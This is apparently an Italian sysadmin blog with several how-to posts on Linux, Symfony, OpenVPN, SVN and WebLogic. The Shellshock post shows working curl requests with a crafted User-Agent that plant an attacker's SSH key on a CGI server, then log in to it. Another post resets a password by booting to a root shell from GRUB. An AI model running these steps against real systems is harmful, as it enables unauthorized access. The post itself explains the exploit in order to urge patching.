1

Reset Password Linux Mint 18

Se si dimentica la password di un utente su un pc o sever con installato Mint 18 é possibile modificarla facilemente.

Accendere il PC e premere SHIFT per accedere a grub.

Una volta caricato GRUB, selezionare Mint e non premere INVIO ma premere e (per modificare)

Spostarsi con le freccette e selezionare la riga che inizia con “linux, come questa:

It will look something like this: linux /boot/vmlinuz-3.16.0-38-generic root=UUID=b1bde976-50e2-4c32-a760-17b091b4202f ro quiet splash $vt_handoff

Spostarsi ala fine della riga, eliminare quest’ultima parte “quiet splash $vt_handoff” ed al suo posto scrivere

rw init=/bin/bash  e premere F10 per avviare il sistema operativo.

Adesso Mint partirá in “shell mode”

Scrivete: passwd yourusername (dove yourusername é la tua username da cambiare) Premere INVIO ed inserire la password (2 volte)

Premere Ctrl+Alt+Delete per riavviare. Loggarsi con la nuova password.




Visualizzare la struttura di un database mysql da php

Se avete bisogno di “stampare” la struttura di un database mysql esistente e non volete ricorrere a soluzioni come mysql workbench o similari, potete utilizzare un comodissimo script php di David Walsh.

 

Si tratta di un file .php, lo copiate sotto la DocumentRoot del vostro webserver, lo editate con db_name, user e password e lo aprite da web. Il risultato sarà del tipo:

 

admin_roles

Field Type Null Key Default Extra
id int(11) NO PRI auto_increment
nombre varchar(255) NO

 

admin_user

 

Field Type Null Key Default Extra
iduser int(11) NO PRI auto_increment
username varchar(255) NO
password varchar(255) NO
salt varchar(255) NO
nome varchar(50) NO
cognome varchar(50) NO

 

 

Lo script lo potete consultare  in questo post del blog di David Walsh oppure scaricarlo da  questa pagina su Mr.Webmaster




Symfony2: Error SecurityDataCollector

Se in seguito all’aggiornamento del PHP, la vostra webapp Symfony2 presenta il seguente errore:

 

FatalErrorException: Error: Call to a member function getRole() on a non-object in
C:\xampp\htdocs\AppApartamentos\vendor\symfony\sym fony\src\Symfony\Bundle\SecurityBundle\DataCollect or\SecurityDataCollector.php line 60

dovete aggiungere un metodo “serialize” alla vostra classe User.

Aprite l’Entità User.php:

modificate la dichiarazione in:

class User implements UserInterface, \Serializable

ed aggiungete i seguenti metodi:

public function serialize()
{
return json_encode(
array($this->username, $this->password, $this->salt,
$this->user_roles, $this->id));
}

/**
* Unserializes the given string in the current User object
* @param serialized
*/
public function unserialize($serialized)
{
list($this->username, $this->password, $this->salt,
$this->user_roles, $this->id) = json_decode(
$serialized);
}

 

 

La vostra istallaizione è salva!




Java.Lang.NumberFormatException: Null

Quando il server va in filesystem full, al restart, il server Admin della nostra installazione osb non parte con il seguente errore:

 

Critical> <WebLogicServer> <BEA-000386> <Server subsystem failed. Reason: java.lang.NumberFormatException: null
java.lang.NumberFormatException: null
at java.lang.Integer.parseInt(Integer.java:454)
at java.lang.Integer.parseInt(Integer.java:527)
at weblogic.ldap.EmbeddedLDAP.validateVDEDirectories(EmbeddedLDAP.java:1104)
at weblogic.ldap.EmbeddedLDAP.start(EmbeddedLDAP.java:242)
at weblogic.t3.srvr.SubsystemRequest.run(SubsystemRequest.java:64)
Truncated. see log file for complete stacktrace

 

 

Questo perchè si corrompe il seguente file:

ORACLE_HOME/user_projects/domain/your_domaim_name/servers/AdminServer/data/ldap/conf/replicas.prop

 

Che potete vedere è diventato di size 0.

Basta eliminarlo.

 

Il file verrà ricreato al prossimo restart!

 

 

 




Come revocare un certificato di Openvpn

OpenVPN è un ottimo prodotto e permette di raggiungere facilmente e in modo sicuro i tuoi server ovunque tu sei.

Ma come si fa a mantenerlo sicuro? Voglio dire, che cosa succede se qualcuno lascia la tua azienda? Dovresti disattivare l’accesso al server OpenVPN.

In OpenVPN esiste la revoca di un certificato, che invalida un certificato inibendone l’accesso.

Per far funzionare tutto questo, abbiamo bisogno di dire al server OpenVPN che i certificati non sono più validi.

 

Revoca del certificato

cd /etc/openvpn/easy-rsa/
. ./vars
./revoke-all utente_che_non_voglio

 

Ora notate che nel file keys/index.txt , il certificato segnato con un a R

 

Abilitazione Revoca dei certificati in OpenVPN Server

cp keys/crl.pem /etc/openvpn
vi /etc/openvpn/server.conf

Ed aggiungere la seguente riga:

crl-verify /etc/openvpn/crl.pem

/etc/init.d/openvpn reload

 

Fatto! Ora l tuoi ex dipendenti non avranno più accesso, anche se hanno ancora i loro certificati.




Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilità grave della bash, la command line più diffusa dei sistemi Linux, associata all’utilizzo delle CGI consente di prendere il controllo del server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che interessa Bash è probabilmente molto più grande e rischiosa di Heartbleed, l’enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

I sistemi impattati sono principalmente le distribuzioni basate su RHEL, Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilità.
http://youtu.be/ArEOVHQu9nk
La risoluzione è molto semplice, per le RHEL based, quindi RHEL stessa, Fedora, CentOS basta eseguire l’upgrade della bash:

yum upgrade bash

 

Mentre per le Debian based:

apt-get update; apt-get install bash

 

Per Debian 6 potrebbe essere necessario cambiare il repository nel file source.list, è possibile scaricare uno script che esegue la verifica della vulnerabilità sulla bash e poi esegue l’upgrade, scarica il file ZIP da estrarre sul sistema “shellshock.zip“, estrai il pacchetto, dai i permessi di esecuzione e lancialo:

 

wget http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13
unzip shellshock.zip
chmod +zx shellshock.sh
./shellshock.sh

Lo script scrive nella direcotory /root/  il file shellshock.txt, al suo interno sono presenti le informazioni della bash e la presenza della vulnerabilità prima e dopo l’upgrade.

 

Per testare se la versione della BASH è afflitta dalla vulnerabilità CVE-2014-6271  basta lanciare questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo prova"

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che dobbiamo eseguire l’upgrade, nel caso ci fosse solo “prova” oppure “bash: warning: x: ignoring function definition attempt” vuol dire che la BASH in uso non è vulnerabile.

 

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilità descritta in questo articolo consente di prendere il pieno controllo del server bersaglio solo se tale server ha in uso le CGI, questo perché è possibile inserire il settaggio si “X” con le istruzioni di nostro interesse nell’environment del server sfruttando l’HTTP_AGENT.

curl -k -H 'User-Agent: () { :;}; /bin/mkdir /var/www/.ssh' http://BERSAGLIO/cgi-bin/script.py
curl -k -H 'User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-data@testserv" \
>/var/www/.ssh/authorized_keys' http://BERSAGLIO/cgi-bin/script.py
ssh www-data@BERSAGLIO
www-data@BERSAGLIO:~$ uname -a
Linux BERSAGLIO 2.6.32-431.11.2.el6.x86_64 #1 SMP Tue Mar 25 19:59:55 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO la presenza delle CGI e dello script script.py, conil curl gil abbiamo inviato una richiesta falsando il nostro “User-Agent”, nel suo interno sfruttiamo la vulnerabilità inserendo la creazione di una direcotry :

User-Agent: () { :;}; /bin/mkdir /var/www/.ssh

gli passiamo la nostra chiave per poter effettuare accesso in SSH

User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]JXIQ== www-data@testserv"\ >/var/www/.ssh/authorized_keys

ora abbiamo completo accesso al terminale.

Questa vulnerabilità deve spaventare chi espone su internet un web server, tutti gli altri sistemi che erogano un servizio diverso hanno meno probabilità di essere bucati, ma comunque è sempre meglio fare l’upgrade della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’è questo script pubblicato su “https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/


#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source
wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz
cd bash-3.2

# download and apply all patches, including the latest one that patches CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
    wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-$i
    patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash



Symfony – 01 – Installazione e configurazione del framework

Credo sia utile una mini guida su come installare e utilizzare il framework php Symfony2.

Innanzitutto preparatevi un ambiente LAMP, Linux + Apache + Mysql + Php

E prepariamoci un nuovo database mysql, che chiamiamo symfony , che dovremmo utilizzare per abilitare l’accesso securizzato.

Spostiamoci sotto la DocumentRoot di apache (se avete l’installazione di default, è /var/www/html )

Da qui, scarichiamo il composer, che serve per gestire le dipendenze del framework

curl -s https://getcomposer.org/installer | php

Ed ora scarichiamo il framework (ci vorrà qualche minuto).
Ho scelto la versione 2.3 che è supportata fino a Maggio 2016.

php composer.phar create-project symfony/framework-standard-edition symfony/ "2.3.*"

Ora vi chiede le informazioni sul database creato per configurare il file “##DOCUMENT_ROOT##/symfony/app/config/parameters.yml” (che potete configurare in un secondo momento).
Ve le riassumo qui:
database_driver (pdo_mysql):
database_host (127.0.0.1):
database_port (null):
database_name (symfony): symfony
database_user (root): myuser
database_password (null): mypassword
mailer_transport (smtp):
mailer_host (127.0.0.1):
mailer_user (null):
mailer_password (null):
locale (en): it
secret (ThisTokenIsNotSoSecretChangeIt): 2Cdq235nau

Il token potete generare una qualsiasi stringa.

Settiamo i permessi ai file scaricati:

chown -R apache.apache symfony
chmod -R 775 symfony

Ultimiamo l’installazione con:

cd symfony
mv ../composer.phar .
php composer.phar update
chmod 777 app/cache/ app/logs/

Listiamo i file installati:

ls -l

E avremo in seguente output:
totale 116
drwxrwxr-x 6 apache apache 4096 29 ago 11:44 app -> contiene log, cache, configurazioni, risorse
drwxrwxr-x 2 apache apache 4096 29 ago 11:38 bin -> binari del framework
-rwxrwxr-x 1 apache apache 2085 8 lug 16:17 composer.json
-rwxrwxr-x 1 apache apache 56987 29 ago 11:38 composer.lock
-rwxrwxr-x 1 apache apache 1065 8 lug 16:17 LICENSE
-rwxrwxr-x 1 apache apache 5736 8 lug 16:17 README.md
drwxrwxr-x 3 apache apache 4096 8 lug 16:17 src -> file sorgenti del progetto
-rwxrwxr-x 1 apache apache 1308 8 lug 16:17 UPGRADE-2.2.md
-rwxrwxr-x 1 apache apache 1962 8 lug 16:17 UPGRADE-2.3.md
-rwxrwxr-x 1 apache apache 8499 8 lug 16:17 UPGRADE.md
drwxrwxr-x 13 apache apache 4096 29 ago 11:44 vendor -> framework
drwxrwxr-x 3 apache apache 4096 29 ago 11:44 web -> documentRoot del framework

Ora se apriamo la seguente URL, modifichando ##MYHOST## con il nome del server, localhost se siamo in locale:

http://##MYHOST##/symfony/web/config.php

Si aprirà una pagina di verifica della configurazione, se non avete errori segnalati potete cliccare su
“Bypass configuration and go to the Welcome page”

Benvenuti nel vostro nuovo framework!

Se come errori segnalati, riscontrate il seguente:

    Set the “date.timezone” setting in php.ini* (like Europe/Paris).

Aggiungete la stringa
date.timezone = Europe/Berlin
nel file php.ini (di default sotto /etc) e restartare apache.

Nel prossimo post vedremo come configurare l’accesso securizzato.




Richiamare bash da php

Gli script bash possono aiutarci ad interfacciarci al S.O. dal php

Per fare un esempio completo, create uno script che faccia una echo:

vi /home/roberto/script.sh

e dentro incollateci:

#!/bin/bash
echo "Ciao, sono la echo!"

E fate una  pagina php con il seguente contenuto:

<?php 
$result=shell_exec("/home/roberto/script.sh");
echo($result);
?>

Per sistemi unix/linux, se siete sotto Windows ovviamente i path saranno nel formato “C:\…”




^M carattere di fine riga

Il carattere ^M è il simbolo di fine riga utilizzato dagli editor windows e mal interpretati da unix/linux.

Prendiamo questo file, scritto con il notepad:

$ cat appo.sh
#!/bin/bash
echo "ciao"

 

Questo dovrebbe stampare “ciao”, ma se eseguito va in errore:


$ ./appo.sh
./appo.sh: line 2: $'\r': command not found

 

Se aggiungiamo l’opzione -v al cat, vediamo che…

$ cat -v appo.sh
#!/bin/bash^M
^M
echo "ciao"^M 

 

Ops.. i ^M.. questi vengono interpretati come caratteri e non come “a capo”..

ripuliamo il file..

abbiamo un modo velocissimo per rimediare, dalla shell, sia usando un comando apposito sia utilizzando il perl, il risultato è lo stesso.

Dalla shell, digitate:

dos2unix appo.sh

Questo sovrascrive il file stesso convertendo i ^M (nelle versioni linux, nelle unix dovete redirigere su un nuovo file).

$ dos2unix appo.sh
dos2unix: converting file appo.sh to Unix format ...
$ cat -v appo.sh
#!/bin/bash
echo "ciao"

 

oppure, per utilizzare il perl, digitate:

$ perl -pi -e 's/\r//g' appo.sh
$ cat -v appo2.sh
#!/bin/bash
echo "ciao"

 

Adesso funziona..

$ ./appo.sh
ciao



SVN in pochi semplici passi

SVN è uno dei sistemi per il versioning dei file più utilizzato.

Ha un architettura client-server e vediamo come installarlo e configurarlo con poche istruzioni.

Innanzitutto installiamo la parte server , io ho utilizzato uno CenOS 5.8:

yum install subversion.i386

Creazione della root directory che ospiterà i progetti sul filesystem:

mkdir /SVNREPOSITORY

Inizializzazione di un progetto di prova chiamato APPUNO

svnadmin create /SVNREPOSITORY/APPUNO

Ed ora.. configuriamo:

editate il file

/SVNREPOSITORY/APPUNO/conf/svnserve.conf

e scommentate per abilitare l’autenticazione:

anon-access = none
auth-access = write
password-db = passwd

Procediamo con la creazione degli account che saranno abilitati ad accedere al progetto.

vi /SVNREPOSITORY/APPUNO/conf/passwd

ed inserite, uno sotto l’altro alla fine del file, le coppie di nomi utente e relative password nel formato

NomeUtente=Password

 

Riavviate il demone:

service svnserve start

Se volete abilitate lo start automatico:

chkconfig svnserve on

Adesso avete un SVN server funzionante.
Potete iniziare ad usarlo con dei client grafici (tortoiseSvn, rapidsvn…) oppure da console (svn )

La url a cui dovete puntare è del tipo:

svn://<SERVER>/SVNREPOSITORY/APPUNO

 

Se volete configurare una copia locale da console:

Scarichiamo il progetto:

svn co svn://<SERVER>/SVNREPOSITORY/APPUNO ./localDir

Ora ./localDir è la copia locale di quel progetto, dal suo interno potete:

Aggiungere file:

svn add <file>

Aggiornare la vostra copia locale con quella presente nel server

svn update

Aggiornare la copia presente nel server con la vostra copia locale

svn commit –message “aggiunti i file”

 

Oppure potete effettuare queste operazioni dai client grafici in pochi click.